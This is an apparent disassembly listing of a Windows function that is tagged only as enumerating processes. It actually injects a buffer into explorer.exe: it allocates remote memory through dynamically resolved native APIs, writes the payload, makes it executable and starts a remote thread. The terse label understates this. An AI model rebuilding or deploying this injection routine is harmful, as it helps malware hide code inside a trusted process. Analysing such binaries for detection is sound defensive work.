Function at 0x392ea82b0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rdx
call fcn.392ea62f0
test eax, eax
setne al
test al, al
je 0x392ea82ec
lea rax, str.___Phalanx_of_June_n
mov rcx, rax
call fcn.392ea7190
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.392eb6570
mov rcx, rax
call fcn.392f46c70
mov qword [rbp + 0x1c0], rax
mov dword [rbp + 0x188], 0
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.392eb6570
mov rdx, rax
lea rcx, [rbp + 0x188]
mov rax, qword [rbp + 0x1c0]
mov r8, rcx
mov rcx, rax
call fcn.392f423d0
mov qword [rbp + 0x1c8], 0
jmp 0x392ea8382
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.392f2f350
movzx ecx, byte [rax]
mov rdx, qword [rbp + 0x1c0]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add qword [rbp + 0x1c8], 1
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.392eb6570
cmp qword [rbp + 0x1c8], rax
setb al
test al, al
jne 0x392ea834c
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
call fcn.392eb6570
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x178], 0
mov dword [rbp + 0x1bc], 0
mov edx, 0
mov ecx, 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x40]
mov eax, 0
mov ecx, 0x26
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x40], 0x130
lea rdx, [rbp + 0x40]
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
setne al
test al, al
je 0x392ea8450
jmp 0x392ea842c
lea rdx, [rbp + 0x40]
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
lea rax, [rbp + 0x40]
add rax, 0x2c
lea rdx, str.explorer.exe
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
setne al
test al, al
jne 0x392ea8419
mov eax, dword [rbp + 0x48]
mov dword [rbp + 0x1ac], eax
mov dword [rbp + 0x10], 0x30
mov qword [rbp + 0x18], 0
mov dword [rbp + 0x28], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov eax, dword [rbp + 0x48]
mov eax, eax
mov qword [rbp], rax
mov qword [rbp + 8], 0
mov qword [rbp + 0x1a0], 0
mov rcx, rbp
lea rdx, [rbp + 0x10]
lea rax, [rbp + 0x170]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call fcn.392ea5570
not eax
shr eax, 0x1f
test al, al
je 0x392ea84de
lea rax, str.1_ok_n
mov rcx, rax
call fcn.392ea7190
jmp 0x392ea84ed
lea rax, str.1_bad_n
mov rcx, rax
call fcn.392ea7190
lea rax, str.NtAllocateVirtualMemory
mov rcx, rax
call fcn.392ea62d0
mov qword [rbp + 0x198], rax
mov r10, qword [rbp + 0x198]
mov rax, qword [rbp + 0x170]
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x178]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
not eax
shr eax, 0x1f
test al, al
je 0x392ea8558
lea rax, [0x393374737]
mov rcx, rax
call fcn.392ea7190
jmp 0x392ea8567
lea rax, str.nok_2
mov rcx, rax
call fcn.392ea7190
mov r9, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x178]
mov rax, qword [rbp + 0x170]
mov r8, qword [rbp + 0x1c0]
lea rcx, [rbp - 8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.392ea5520
not eax
shr eax, 0x1f
test al, al
je 0x392ea85ae
lea rax, [0x393374741]
mov rcx, rax
call fcn.392ea7190
jmp 0x392ea85bd
lea rax, str.write_err
mov rcx, rax
call fcn.392ea7190
mov dword [rbp - 0xc], 0
lea rax, str.NtProtectVirtualMemory
mov rcx, rax
call fcn.392ea62d0
mov qword [rbp + 0x190], rax
mov r10, qword [rbp + 0x190]
mov rax, qword [rbp + 0x170]
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 0xc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
not eax
shr eax, 0x1f
test al, al
je 0x392ea8625
lea rax, str.4ok_n
mov rcx, rax
call fcn.392ea7190
jmp 0x392ea8634
lea rax, str.4nok_n
mov rcx, rax
call fcn.392ea7190
mov qword [rbp - 0x18], 0xffffffffffffffff
mov rdx, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x170]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rax
call fcn.392ea55c0
mov dword [rbp + 0x18c], eax
cmp dword [rbp + 0x18c], 0
js 0x392ea86bc
lea rax, str.__5ok_n
mov rcx, rax
call fcn.392ea7190
call fcn.392ea64c0
test eax, eax
setne al
test al, al
je 0x392ea86db
lea rax, [0x393374779]
mov rcx, rax
call sub.msvcrt.dll_puts
jmp 0x392ea86ea
lea rax, [0x39337477b]
mov rcx, rax
call sub.msvcrt.dll_puts
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp qword [rbp + 0x1c0], 0
je 0x392ea8713
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call fcn.392f46c40
mov eax, 0
add rsp, 0x258
pop rdi
pop rbp
ret